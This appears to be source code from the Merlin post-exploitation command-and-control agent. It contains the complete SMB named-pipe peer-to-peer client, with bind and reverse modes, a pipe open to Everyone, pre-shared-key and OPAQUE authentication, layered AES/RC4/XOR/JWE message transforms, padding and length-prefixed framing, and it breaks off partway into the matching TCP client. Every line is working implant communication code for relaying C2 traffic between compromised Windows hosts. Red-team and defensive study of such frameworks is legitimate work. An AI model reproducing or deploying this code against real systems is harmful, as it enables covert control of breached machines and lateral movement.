Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package smb contains a configurable client used for Windows-based SMB peer-to-peer Agent communications
package smb
import (
// Standard
"bytes"
"crypto/sha256"
"encoding/binary"
"encoding/gob"
"fmt"
"io"
"math"
"math/rand"
"net"
"strconv"
"strings"
"sync"
"time"
"unsafe"
// X Package
"golang.org/x/sys/windows"
// 3rd Party
"github.com/Ne0nd0g/npipe"
"github.com/google/uuid"
// Merlin
"github.com/Ne0nd0g/merlin-message"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/authenticators"
"github.com/Ne0nd0g/merlin-agent/v2/authenticators/none"
"github.com/Ne0nd0g/merlin-agent/v2/authenticators/opaque"
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-agent/v2/core"
transformer "github.com/Ne0nd0g/merlin-agent/v2/transformers"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/base64"
gob2 "github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/gob"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/hex"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/aes"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/jwe"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/rc4"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/xor"
)
const (
BIND = 0
REVERSE = 1
)
const (
// MaxSize is the maximum size of an SMB fragment
// The WriteFileEx Windows API function says:
// "Pipe write operations across a network are limited to 65,535 bytes per write"
// https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefileex
MaxSize = 65535
)
// Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server
type Client struct {
address string // address is the SMB named pipe the agent will bind to
agentID uuid.UUID // agentID the Agent's UUID
authComplete chan bool // authComplete is a channel that is used to block sending messages until the Agent has successfully completed authenticated
authenticated bool // authenticated tracks if the Agent has successfully authenticated
authenticator authenticators.Authenticator // authenticator the method the Agent will use to authenticate to the server
connected chan bool // connected is a channel that is used to track if the Agent is connected to a Parent
connection net.Conn // connection the network socket connection used to handle traffic
listener net.Listener // listener the network socket connection listening for traffic
listenerID uuid.UUID // listenerID the UUID of the listener that this Agent is configured to communicate with
paddingMax int // paddingMax the maximum amount of random padding to apply to every Base message
psk string // psk the pre-shared key used for encrypting messages until authentication is complete
secret []byte // secret the key used to encrypt messages
sending bool // sending is a flag that is used to track if the Agent is currently sending a message
transformers []transformer.Transformer // Transformers an ordered list of transforms (encoding/encryption) to apply when constructing a message
mode int // mode the type of client or communication mode (e.g., BIND or REVERSE)
sync.Mutex // used to lock the Client when changes are being made by one function or routine
}
// Config is a structure that is used to pass in all necessary information to instantiate a new Client
type Config struct {
Address []string // Address the interface and port the agent will bind to
AgentID uuid.UUID // AgentID the Agent's UUID
AuthPackage string // AuthPackage the type of authentication the agent should use when communicating with the server
ListenerID uuid.UUID // ListenerID the UUID of the listener that this Agent is configured to communicate with
Padding string // Padding the max amount of data that will be randomly selected and appended to every message
PSK string // PSK the Pre-Shared Key secret the agent will use to start authentication
Transformers string // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message
Mode string // Mode the type of client or communication mode (e.g., BIND or REVERSE)
}
// New instantiates and returns a Client that is constructed from the passed in Config
func New(config Config) (*Client, error) {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.New(): entering into function with config %+v", config))
client := Client{}
client.authComplete = make(chan bool, 1)
client.connected = make(chan bool, 1)
if config.AgentID == uuid.Nil {
return nil, fmt.Errorf("clients/smb.New(): a nil Agent UUID was provided")
}
client.agentID = config.AgentID
if config.ListenerID == uuid.Nil {
return nil, fmt.Errorf("clients/smb.New(): a nil Listener UUID was provided")
}
switch strings.ToLower(config.Mode) {
case "smb-bind":
client.mode = BIND
case "smb-reverse":
client.mode = REVERSE
default:
client.mode = BIND
}
client.listenerID = config.ListenerID
client.psk = config.PSK
// Parse Address and validate it
if len(config.Address) <= 0 {
return nil, fmt.Errorf("a configuration address value was not provided")
}
// \\.\pipe\MerlinPipe
t := strings.Split(config.Address[0], "\\")
if len(t) < 5 {
return nil, fmt.Errorf("clients/smb.New(): invalid SMB address: %s\n Try \\\\.\\pipe\\merlin", config.Address[0])
}
if t[1] != "." {
_, err := net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:445", t[1]))
if err != nil {
return nil, fmt.Errorf("clients/smb.New(): there was an error validating the input network address: %s", err)
}
}
switch client.mode {
case BIND:
// Can only bind to "."
client.address = fmt.Sprintf("\\\\.\\pipe\\%s", t[4])
default:
client.address = config.Address[0]
}
// Set secret for encryption
k := sha256.Sum256([]byte(client.psk))
client.secret = k[:]
cli.Message(cli.DEBUG, fmt.Sprintf("new client PSK: %s", client.psk))
cli.Message(cli.DEBUG, fmt.Sprintf("new client Secret: %x", client.secret))
//Convert Padding from string to an integer
var err error
if config.Padding != "" {
client.paddingMax, err = strconv.Atoi(config.Padding)
if err != nil {
return &client, fmt.Errorf("there was an error converting the padding max to an integer:\r\n%s", err)
}
} else {
client.paddingMax = 0
}
// Authenticator
switch strings.ToLower(config.AuthPackage) {
case "opaque":
client.authenticator = opaque.New(config.AgentID)
case "none":
client.authenticator = none.New(config.AgentID)
default:
return nil, fmt.Errorf("an authenticator must be provided (e.g., 'opaque'")
}
// Transformers
transforms := strings.Split(config.Transformers, ",")
for _, transform := range transforms {
var t transformer.Transformer
switch strings.ToLower(transform) {
case "aes":
t = aes.NewEncrypter()
case "base64-byte":
t = base64.NewEncoder(base64.BYTE)
case "base64-string":
t = base64.NewEncoder(base64.STRING)
case "gob-base":
t = gob2.NewEncoder(gob2.BASE)
case "gob-string":
t = gob2.NewEncoder(gob2.STRING)
case "hex-byte":
t = hex.NewEncoder(hex.BYTE)
case "hex-string":
t = hex.NewEncoder(hex.STRING)
case "jwe":
t = jwe.NewEncrypter()
case "rc4":
t = rc4.NewEncrypter()
case "xor":
t = xor.NewEncrypter()
default:
err := fmt.Errorf("clients/smb.New(): unhandled transform type: %s", transform)
if err != nil {
return nil, err
}
}
client.transformers = append(client.transformers, t)
}
cli.Message(cli.INFO, "Client information:")
cli.Message(cli.INFO, fmt.Sprintf("\tProtocol: %s", &client))
cli.Message(cli.INFO, fmt.Sprintf("\tAddress: %s", client.address))
cli.Message(cli.INFO, fmt.Sprintf("\tListener: %s", client.listenerID))
cli.Message(cli.INFO, fmt.Sprintf("\tAuthenticator: %s", client.authenticator))
cli.Message(cli.INFO, fmt.Sprintf("\tTransforms: %+v", client.transformers))
cli.Message(cli.INFO, fmt.Sprintf("\tPadding: %d", client.paddingMax))
return &client, nil
}
// Initial executes the specific steps required to establish a connection with the C2 server and checkin or register an agent
func (client *Client) Initial() (err error) {
cli.Message(cli.DEBUG, "Entering clients/smb.Initial() function")
defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Initial(): leaving function with error: %+v", err))
err = client.Connect()
if err != nil {
err = fmt.Errorf("clients/smb.Initial(): %s", err)
return
}
<-client.connected
// Authenticate
err = client.Authenticate(messages.Base{})
return err
}
// Authenticate is the top-level function used to authenticate an agent to server using a specific authentication protocol
// The function must take in a Base message for when the C2 server requests re-authentication through a message
func (client *Client) Authenticate(msg messages.Base) (err error) {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Authenticate(): entering into function with message: %+v", msg))
defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Authenticate(): leaving function with error: %+v", err))
client.Lock()
client.authenticated = false
client.Unlock()
if len(client.authComplete) > 0 {
<-client.authComplete
}
var authenticated bool
// Reset the Agent's PSK
k := sha256.Sum256([]byte(client.psk))
client.Lock()
client.secret = k[:]
client.Unlock()
// Repeat until authenticator is complete and Agent is authenticated
for {
msg, authenticated, err = client.authenticator.Authenticate(msg)
if err != nil {
return
}
// An empty message was received indicating to exit the function
if msg.Type == 0 {
return
}
// Once authenticated, update the client's secret used to encrypt messages
if authenticated {
client.Lock()
client.authenticated = true
client.Unlock()
var key []byte
key, err = client.authenticator.Secret()
if err != nil {
return
}
// Don't update the secret if the authenticator returned an empty key
if len(key) > 0 {
client.Lock()
client.secret = key
client.Unlock()
}
}
if msg.Type == messages.OPAQUE {
// Send the message to the server
var msgs []messages.Base
msgs, err = client.SendAndWait(msg)
if err != nil {
return
}
// Add response message to the next loop iteration
if len(msgs) > 0 {
// Don't add IDLE messages, just continue on
if msgs[0].Type != messages.IDLE {
msg = msgs[0]
}
}
} else {
_, err = client.Send(msg)
if err != nil {
return
}
}
// If the Agent is authenticated, exit the loop and return the function
if authenticated {
client.authComplete <- true
return
}
}
}
// Connect establish a connection with the remote host depending on the Client's type (e.g., BIND or REVERSE)
func (client *Client) Connect() (err error) {
cli.Message(cli.DEBUG, "clients/smb.Connect(): entering into function")
defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Connect(): leaving function with error %+v", err))
// Ensure the connected channel is empty. If the Agent's sleep is less than 0, the channel might be full from a prior reconnect
if len(client.connected) > 0 {
<-client.connected
}
client.Lock()
defer client.Unlock()
switch client.mode {
case BIND:
if client.listener == nil {
// Create the security descriptor
// D = Discretionary Access List (DACL)
// A = Allow
// FA = FILE_ALL_ACCESS, FR = FILE_GENERIC_READ
// https://learn.microsoft.com/en-us/windows/win32/secauthz/ace-strings
// SY = SYSTEM, BA = BUILT-IN ADMINISTRATORS, CO = CREATOR OWNER, WD = EVERYONE, AN = ANONYMOUS
// https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-strings
// Leave the Owner "O:" off, and it will be set to the user that created the named pipe by default
// Leave the Group "G:" off, and it will be set to the "None" group by default
sddl := "D:(A;;FA;;;SY)(A;;FA;;;BA)(A;;FA;;;CO)(A;;FA;;;WD)(A;;FR;;;AN)"
var sd *windows.SECURITY_DESCRIPTOR
sd, err = windows.SecurityDescriptorFromString(sddl)
if err != nil {
return fmt.Errorf("clients/smb.Connect(): there was an error converting the SDDL string \"%s\" to a SECURITY_DESCRIPTOR: %s", sddl, err)
}
// Create the Security Attributes
// https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v=vs.85)
sa := windows.SecurityAttributes{
Length: uint32(unsafe.Sizeof(sd)),
SecurityDescriptor: sd,
InheritHandle: 1,
}
openMode := windows.PIPE_ACCESS_DUPLEX | windows.FILE_FLAG_OVERLAPPED | windows.FILE_FLAG_FIRST_PIPE_INSTANCE
pipeMode := windows.PIPE_TYPE_BYTE | windows.PIPE_READMODE_BYTE | windows.PIPE_WAIT // Effectively equals 0 and could just specify the first flag
client.listener, err = npipe.NewPipeListener(client.address, uint32(openMode), uint32(pipeMode), windows.PIPE_UNLIMITED_INSTANCES, 512, 512, 0, &sa)
if err != nil {
// Try again without FILE_FLAG_FIRST_PIPE_INSTANCE
openMode = windows.PIPE_ACCESS_DUPLEX | windows.FILE_FLAG_OVERLAPPED
client.listener, err = npipe.NewPipeListener(client.address, uint32(openMode), uint32(pipeMode), windows.PIPE_UNLIMITED_INSTANCES, 512, 512, 0, &sa)
if err != nil {
return fmt.Errorf("clients/smb.Connect(): there was an error listening on %s: %s", client.address, err)
}
}
cli.Message(cli.NOTE, fmt.Sprintf("Started %s on %s", client, client.address))
}
// Listen for initial connection from upstream agent
cli.Message(cli.NOTE, fmt.Sprintf("Listening for incoming connection at %s...", time.Now().UTC().Format(time.RFC3339)))
client.connection, err = client.listener.Accept()
if err != nil {
return fmt.Errorf("clients/smb.Connect(): there was an error accepting the connection: %s", err)
}
cli.Message(cli.NOTE, fmt.Sprintf("Received new connection from %s", client.connection.RemoteAddr()))
// Send gratuitous checkin to provide parent Agent with linked agent data
// Really only need to do this if the sleep is less than zero because else the normal checkin will happen
if client.authenticated {
cli.Message(cli.NOTE, fmt.Sprintf("Sending gratuitious StatusCheckIn at %s...", time.Now().UTC().Format(time.RFC3339)))
_, err = client.Send(messages.Base{ID: client.agentID, Type: messages.CHECKIN})
}
client.connected <- true
return err
case REVERSE:
client.connection, err = npipe.Dial(client.address)
if err != nil {
client.connection = nil
err = fmt.Errorf("clients/smb.Connect(): there was an error connecting to %s: %s", client.address, err)
return
}
cli.Message(cli.SUCCESS, fmt.Sprintf("Successfully connected to %s at %s", client.address, time.Now().UTC().Format(time.RFC3339)))
client.connected <- true
err = nil
return
default:
return fmt.Errorf("clients/smb.Connect(): Unhandled Client mode %d", client.mode)
}
}
// Construct takes in a messages.Base structure that is ready to be sent to the server and runs all the configured transforms
// on it to encode and encrypt it.
func (client *Client) Construct(msg messages.Base) (data []byte, err error) {
for i := len(client.transformers); i > 0; i-- {
if i == len(client.transformers) {
// First call should always take a Base message
data, err = client.transformers[i-1].Construct(msg, client.secret)
} else {
data, err = client.transformers[i-1].Construct(data, client.secret)
}
if err != nil {
return nil, fmt.Errorf("clients/smb.Construct(): there was an error calling the transformer construct function: %s", err)
}
}
return
}
// Deconstruct takes in data returned from the server and runs all the Agent's transforms on it until
// a messages.Base structure is returned. The key is used for decryption transforms
func (client *Client) Deconstruct(data []byte) (messages.Base, error) {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Deconstruct(): entering into function with message: %+v", data))
//fmt.Printf("Deconstructing %d bytes with key: %x\n", len(data), client.secret)
for _, transform := range client.transformers {
//fmt.Printf("Transformer %T: %+v\n", transform, transform)
ret, err := transform.Deconstruct(data, client.secret)
if err != nil {
cli.Message(cli.WARN, fmt.Sprintf("clients/smb.Deconstruct(): unable to deconstruct with Agent's secret, retrying with PSK"))
// Try to see if the PSK works
k := sha256.Sum256([]byte(client.psk))
ret, err = transform.Deconstruct(data, k[:])
if err != nil {
return messages.Base{}, err
}
// If the PSK worked, assume the agent is unauthenticated to the server
client.authenticated = false
client.secret = k[:]
}
switch ret.(type) {
case []uint8:
data = ret.([]byte)
case string:
data = []byte(ret.(string)) // Probably not what I should be doing
case messages.Base:
//fmt.Printf("pkg/listeners.Deconstruct(): returning Base message: %+v\n", ret.(messages.Base))
return ret.(messages.Base), nil
default:
return messages.Base{}, fmt.Errorf("clients/smb.Deconstruct(): unhandled data type for Deconstruct(): %T", ret)
}
}
return messages.Base{}, fmt.Errorf("clients/smb.Deconstruct(): unable to transform data into messages.Base structure")
}
// Listen waits for incoming data on an established SMB connection, deconstructs the data into a Base messages, and returns them
func (client *Client) Listen() (returnMessages []messages.Base, err error) {
cli.Message(cli.DEBUG, "clients/smb.Listen(): entering into function")
defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Listen(): leaving function with error %+v and return messages: %+v", err, returnMessages))
// Repair broken connections
if client.connection == nil {
switch client.mode {
case BIND:
// If the connection is empty and this is a BIND agent, wait for connection from Parent Agent
cli.Message(cli.NOTE, fmt.Sprintf("Client connection was empty. Re-establishing connection at %s...", time.Now().UTC().Format(time.RFC3339)))
err = client.Connect()
if err != nil {
err = fmt.Errorf("clients/smb.Listen(): %s", err)
return
}
case REVERSE:
if !client.sending {
// If the Agent's sleep is 0, which isn't known in this package, then there will never be a message to send and this will cause a deadlock
// Return a message so that there is a message to send, forcing the communication
client.Lock()
client.sending = true
client.Unlock()
cli.Message(cli.NOTE, fmt.Sprintf("Client connection was empty and sending signal is false, returning gratuitious StatusCheckIn messages at %s", time.Now().UTC().Format(time.RFC3339)))
return []messages.Base{messages.Base{ID: client.agentID, Type: messages.CHECKIN}}, nil
} else {
// If the connection is empty and this is a REVERSE agent, wait here until the connection is established
cli.Message(cli.INFO, fmt.Sprintf("Waiting for a client connection before listening for messages at %s", time.Now().UTC().Format(time.RFC3339)))
<-client.connected
cli.Message(cli.SUCCESS, fmt.Sprintf("Client connection re-esablished at %s", time.Now().UTC().Format(time.RFC3339)))
}
}
}
// Wait for the response
cli.Message(cli.NOTE, fmt.Sprintf("Listening for incoming messages from %s on %s at %s...", client.connection.RemoteAddr(), client.connection.LocalAddr(), time.Now().UTC().Format(time.RFC3339)))
var n int
var tag uint32
var length uint64
var buff bytes.Buffer
for {
respData := make([]byte, 4096)
n, err = client.connection.Read(respData)
cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Listen(): Read %d bytes from connection %s at %s", n, client.connection.RemoteAddr(), time.Now().UTC().Format(time.RFC3339)))
if err != nil {
if err == io.EOF {
cli.Message(cli.WARN, fmt.Sprintf("clients/smb.Listen(): received EOF from %s, the Agent's connection has been reset", client.connection.RemoteAddr()))
err = nil // Don't return an error when it is EOF because it will increase the max failed checkin count
client.connection = nil
return
} else if strings.Contains(err.Error(), "The pipe has been ended") {
cli.Message(cli.WARN, fmt.Sprintf("clients/smb.Listen(): the pipe %s has been ended and the Agent's connection has been reset", client.connection.RemoteAddr()))
err = nil // Don't return an error because it will increase the max failed checkin count
client.connection = nil
return
}
err = fmt.Errorf("clients/smb.Listen(): there was an error reading the message from the connection with %s: %s", client.connection.RemoteAddr(), err)
return
}
// Add the bytes to the buffer
n, err = buff.Write(respData[:n])
if err != nil {
err = fmt.Errorf("clients/smb.Listen(): there was an error writing %d incoming bytes to the local buffer: %s", n, err)
client.connection = nil
return
}
// If this is the first read on the connection determine the tag and data length
if tag == 0 {
// Ensure we have enough data to read the tag/type which is 4-bytes
if buff.Len() < 4 {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Listen(): Need at least 4 bytes in the buffer to read the Type/Tag for TLV but only have %d", buff.Len()))
continue
}
tag = binary.BigEndian.Uint32(respData[:4])
if tag != 1 {
err = fmt.Errorf("clients/smb.Listen(): Expected a type/tag value of 1 for TLV but got %d", tag)
client.connection = nil
return
}
}
if length == 0 {
// Ensure we have enough data to read the Length from TLV which is 8-bytes plus the 4-byte tag/type size
if buff.Len() < 12 {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Listen(): Need at least 12 bytes in the buffer to read the Length for TLV but only have %d", buff.Len()))
continue
}
length = binary.BigEndian.Uint64(respData[4:12])
}
// If we've read all the data according to the length provided in TLV, then break the for loop
// Type/Tag size is 4-bytes, Length size is 8-bytes for TLV
if uint64(buff.Len()) == length+4+8 {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Listen(): Finished reading data length of %d bytes into the buffer and moving forward to deconstruct the data", length))
break
} else {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Listen(): Read %d of %d bytes into the buffer", buff.Len(), length))
}
}
cli.Message(cli.NOTE, fmt.Sprintf("Read %d bytes from connection %s at %s", buff.Len(), client.connection.RemoteAddr(), time.Now().UTC().Format(time.RFC3339)))
var msg messages.Base
// Type/Tag size is 4-bytes, Length size is 8-bytes for a total of 12-bytes for TLV
msg, err = client.Deconstruct(buff.Bytes()[12:])
if err != nil {
err = fmt.Errorf("clients/smb.Listen(): there was an error deconstructing the data: %s", err)
return
}
returnMessages = append(returnMessages, msg)
return
}
// Send takes in a Merlin message structure, performs any encoding or encryption, converts it to a delegate and writes it to the output stream.
// This function DOES not wait or listen for response messages.
func (client *Client) Send(m messages.Base) (returnMessages []messages.Base, err error) {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Send(): Entering into function with message: %+v", m))
defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Send(): Leaving function with error: %+v and messages: %+v", err, returnMessages))
// Recover connection
if client.connection == nil {
switch client.mode {
case BIND:
// If the connection is empty and this is a BIND agent, wait here for listener to receive a connection
cli.Message(cli.INFO, fmt.Sprintf("Waiting for a client connection before sending message at %s", time.Now().UTC().Format(time.RFC3339)))
<-client.connected
case REVERSE:
// Signal to the listen() function that we are attempting to recover the connection
client.Lock()
client.sending = true
client.Unlock()
// If the connection is empty and this is a REVERSE agent, attempt to connect to the listener
cli.Message(cli.NOTE, fmt.Sprintf("Client connection was empty. Re-establishing connection at %s...", time.Now().UTC().Format(time.RFC3339)))
err = client.Connect()
if err != nil {
err = fmt.Errorf("clients/smb.Send(): %s", err)
return
}
// Once the connection has successfully been recovered, and a message has been sent, reset the sending signal for the listen() function
defer func() {
client.Lock()
client.sending = false
client.Unlock()
}()
}
}
if !client.authenticated && m.Type != messages.OPAQUE {
cli.Message(cli.INFO, fmt.Sprintf("Waiting for authentication to complete before sending message at %s", time.Now().UTC().Format(time.RFC3339)))
<-client.authComplete
cli.Message(cli.INFO, fmt.Sprintf("Authentication completed, continuing with sending held message at %s", time.Now().UTC().Format(time.RFC3339)))
}
// Set the message padding
if client.paddingMax > 0 {
// #nosec G404 -- Random number does not impact security
m.Padding = core.RandStringBytesMaskImprSrc(rand.Intn(client.paddingMax))
}
data, err := client.Construct(m)
if err != nil {
err = fmt.Errorf("clients/smb.Send(): there was an error constructing the data: %s", err)
return
}
delegate := messages.Delegate{
Listener: client.listenerID,
Agent: client.agentID,
Payload: data,
}
// Convert messages.Base to gob
// Still need this for agent to agent message encoding
delegateBytes := new(bytes.Buffer)
err = gob.NewEncoder(delegateBytes).Encode(delegate)
if err != nil {
err = fmt.Errorf("there was an error encoding the %s message to a gob:\r\n%s", m.Type, err)
return
}
// Add in Tag/Type and Length for TLV
tag := make([]byte, 4)
binary.BigEndian.PutUint32(tag, 1)
length := make([]byte, 8)
binary.BigEndian.PutUint64(length, uint64(delegateBytes.Len()))
// Create TLV
outData := append(tag, length...)
outData = append(outData, delegateBytes.Bytes()...)
cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Send(): Added Tag: %d and Length: %d to data size of %d\n", tag, uint64(delegateBytes.Len()), len(outData)))
cli.Message(cli.NOTE, fmt.Sprintf("Sending %s message to %s from %s at %s", m.Type, client.connection.RemoteAddr(), client.connection.LocalAddr(), time.Now().UTC().Format(time.RFC3339)))
// Write the message
cli.Message(cli.DEBUG, fmt.Sprintf("Writing message size: %d to: %s", delegateBytes.Len(), client.connection.RemoteAddr()))
// Split into fragments of MaxSize
fragments := int(math.Ceil(float64(len(outData)) / float64(MaxSize)))
cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Send(): SMB data size is: %d, max SMB fragment size is %d, creating %d fragments", len(outData), MaxSize, fragments))
var i int
size := len(outData)
for i < fragments {
start := i * MaxSize
var stop int
// if bytes remaining are less than max size, read until the end
if size < MaxSize {
stop = len(outData)
} else {
stop = (i + 1) * MaxSize
}
var n int
n, err = client.connection.Write(outData[start:stop])
if err != nil {
err = fmt.Errorf("clients/smb.Send(): there was an error writing SMB fragment %d of %d to the connection with %s: %s", i, fragments, client.connection.RemoteAddr(), err)
return
}
cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Send(): Wrote %d bytes, SMB fragment %d of %d, to %s", n, i+1, fragments, client.connection.RemoteAddr()))
i++
size = size - MaxSize
}
return
}
// SendAndWait takes in a Merlin message, encodes/encrypts it, and writes it to the output stream and then waits for response
// messages and returns them
func (client *Client) SendAndWait(m messages.Base) (returnMessages []messages.Base, err error) {
cli.Message(cli.DEBUG, "Entering into clients/smb.SendAndWait()...")
// Send
returnMessages, err = client.Send(m)
if err != nil {
err = fmt.Errorf("clients/smb.SendAndWait(): %s", err)
return
}
// Listen
return client.Listen()
}
// Get is a generic function that is used to retrieve the value of a Client's field
func (client *Client) Get(key string) (value string) {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Get(): entering into function with key: %s", key))
defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Get(): leaving function with value: %s", value))
switch strings.ToLower(key) {
case "ja3":
return ""
case "paddingmax":
value = strconv.Itoa(client.paddingMax)
case "protocol":
value = client.String()
default:
value = fmt.Sprintf("unknown client configuration setting: %s", key)
}
return
}
// Set is a generic function that is used to modify a Client's field values
func (client *Client) Set(key string, value string) (err error) {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Set(): entering into function with key: %s, value: %s", key, value))
defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Set(): exiting function with err: %v", err))
client.Lock()
defer client.Unlock()
switch strings.ToLower(key) {
case "addr":
// Validate the address
// \\.\pipe\MerlinPipe
t := strings.Split(value, "\\")
if len(t) < 5 {
err = fmt.Errorf("clients/smb.Set(): invalid SMB address: %s\n Try \\\\.\\pipe\\merlin", value)
return
}
if t[1] != "." {
_, err = net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:445", t[1]))
if err != nil {
err = fmt.Errorf("clients/smb.Set(): there was an error validating the input network address: %s", err)
return
}
}
if err != nil {
err = fmt.Errorf("clients/tcp.Set(): there was an error parsing the provide address %s : %s", value, err)
return
}
// Close the connection
err = client.connection.Close()
if err != nil {
err = fmt.Errorf("clients/tcp.Set(): there was an error closing the connection: %s", err)
return
}
client.connection = nil
if client.mode == BIND {
// Close the listener
err = client.listener.Close()
if err != nil {
err = fmt.Errorf("clients/tcp.Set(): there was an error closing the listener: %s", err)
return
}
}
client.listener = nil
client.address = value
case "listener":
var id uuid.UUID
id, err = uuid.Parse(value)
if err != nil {
return fmt.Errorf("clients/smb.Set(): %s", err)
}
client.listenerID = id
case "paddingmax":
client.paddingMax, err = strconv.Atoi(value)
case "secret":
client.secret = []byte(value)
default:
err = fmt.Errorf("unknown tcp client setting: %s", key)
}
return
}
// String returns the type of SMB client
func (client *Client) String() string {
switch client.mode {
case BIND:
return "smb-bind"
case REVERSE:
return "smb-reverse"
default:
return "smb-unhandled"
}
}
// Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages
// can be sent/received.
func (client *Client) Synchronous() bool {
switch client.mode {
case BIND:
return true
case REVERSE:
return true
default:
return false
}
}
================================================
FILE: clients/tcp/tcp.go
================================================
//go:build tcp || !(http || http1 || http2 || http3 || mythic || winhttp || smb || udp)
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package tcp contains a configurable client used for TCP-based peer-to-peer Agent communications
package tcp
import (
// Standard
"bytes"
"crypto/sha256"
"encoding/binary"
"encoding/gob"
"fmt"
"io"
"math/rand"
"net"
"strconv"
"strings"
"sync"
"time"
// 3rd Party
"github.com/google/uuid"
// Merlin
"github.com/Ne0nd0g/merlin-message"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/authenticators"
"github.com/Ne0nd0g/merlin-agent/v2/authenticators/none"
"github.com/Ne0nd0g/merlin-agent/v2/authenticators/opaque"
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-agent/v2/core"
transformer "github.com/Ne0nd0g/merlin-agent/v2/transformers"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/base64"
gob2 "github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/gob"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/hex"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/aes"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/jwe"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/rc4"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/xor"
)
const (
BIND = 0
REVERSE = 1
)
// Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server
type Client struct {
address string // address is the network interface and port the agent will bind to
agentID uuid.UUID // agentID the Agent's UUID
authenticated bool // authenticated tracks if the Agent has successfully authenticated
authComplete chan bool // authComplete is a channel that is used to block sending messages until the Agent has successfully completed authenticated
authenticator authenticators.Authenticator // authenticator the method the Agent will use to authenticate to the server
connected chan bool // connected is a channel that is used to track if the Agent is connected to a Parent
connection net.Conn // connection the network socket connection used to handle traffic
listener net.Listener // listener the network socket connection listening for traffic
listenerID uuid.UUID // listenerID the UUID of the listener that this Agent is configured to communicate with
paddingMax int // paddingMax the maximum amount of random padding to apply to every Base message
psk string // psk the pre-shared key used for encrypting messages until authentication is complete
secret []byte // secret the key used to encrypt messages
sending bool // sending is a flag that is used to track if the Agent is currently sending a message
transformers []transformer.Transformer // Transformers an ordered list of transforms (encoding/encryption) to apply when constructing a message
mode int // mode the type of client or communication mode (e.g., BIND or REVERSE)
sync.Mutex // used to lock the Client when changes are being made by one function or routine
}
// Config is a structure that is used to pass in all necessary information to instantiate a new Client
type Config struct {
Address []string // Address the interface and port the agent will bind to
AgentID uuid.UUID // AgentID the Agent's UUID
AuthPackage string // AuthPackage the type of authentication the agent should use when communicating with the server
ListenerID uuid.UUID // ListenerID the UUID of the listener that this Agent is configured to communicate with
Padding string // Padding the max amount of data that will be randomly selected and appended to every message
PSK string // PSK the Pre-Shared Key secret the agent will use to start authentication
Transformers string // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message
Mode string // Mode the type of client or communication mode (e.g., BIND or REVERSE)
}
// New instantiates and returns a Client that is constructed from the passed in Config
func New(config Config) (*Client, error) {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.New() entering into function with config: %+v", config))
client := Client{}
client.authComplete = make(chan bool, 1)
client.connected = make(chan bool, 1)
if config.AgentID == uuid.Nil {
return nil, fmt.Errorf("clients/p2p/tcp.New(): a nil Agent UUID was provided")
}
client.agentID = config.AgentID
if config.ListenerID == uuid.Nil {
